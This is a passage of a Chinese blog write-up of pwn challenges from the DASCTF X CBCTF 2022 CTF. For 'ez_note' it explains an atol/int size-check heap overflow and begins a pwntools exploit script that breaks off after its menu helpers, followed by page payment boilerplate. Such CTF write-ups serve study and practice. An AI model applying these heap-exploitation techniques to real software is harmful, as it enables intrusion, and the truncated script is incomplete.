DASCTF X CBCTF 2022九月挑战赛(pwn方向)复现

本文详细复盘了DASCTFXCBCTF2022九月挑战赛中的pwn题目,包括利用堆溢出、双自由缺陷(uaf)及格式字符串漏洞等技术手段,通过精心构造payload实现内存泄漏、劫持函数指针等操作以获取shell。

DASCTF X CBCTF 2022九月挑战赛(pwn方向)复现

**

ez_note

**
请添加图片描述
漏洞点:注意这里·是atol不是atoi所以输入的是64位的数据
但是检测输入size的时候是用按int类型检查,可以造成堆溢出。请添加图片描述
找到漏洞点了就可以利用了,重点在堆利用这块。
先看看exp:

from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#io=process("./pwn")
p = process('./pwn')
#elf=ELF('./pwn')

#io = remote('59.110.24.117',33320)
libc = ELF('/home/pwn/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
rl = lambda    a=False        : p.recvline(a)
ru = lambda a,b=True    : p.recvuntil(a,b)
rn = lambda x            : p.recvn(x)
sn = lambda x            : p.send(x)
sl = lambda x            : p.sendline(x)
sa = lambda a,b            : p.sendafter(a,b)
sla = lambda a,b        : p.sendlineafter(a,b)
irt = lambda            : p.interactive()
dbg = lambda text=None  : gdb.attach(p, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
def dbg():
    gdb.attach(p)
    pause()

def add(size,content):
    sa('Your choice:',str(1))
    sa('Note size:',str(size))
    sa('Note content:',content)

def delete(index):
    sa('Your choice:',str(2))
    sa('Note ID:',str(index))

def show(index):
    sa('Your choice:',str(3))
    sa('Note ID:',str(index))
    ru('Note content:')

# add(0x108,'a'*0x108)
add(0x80,'a')
add(<
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值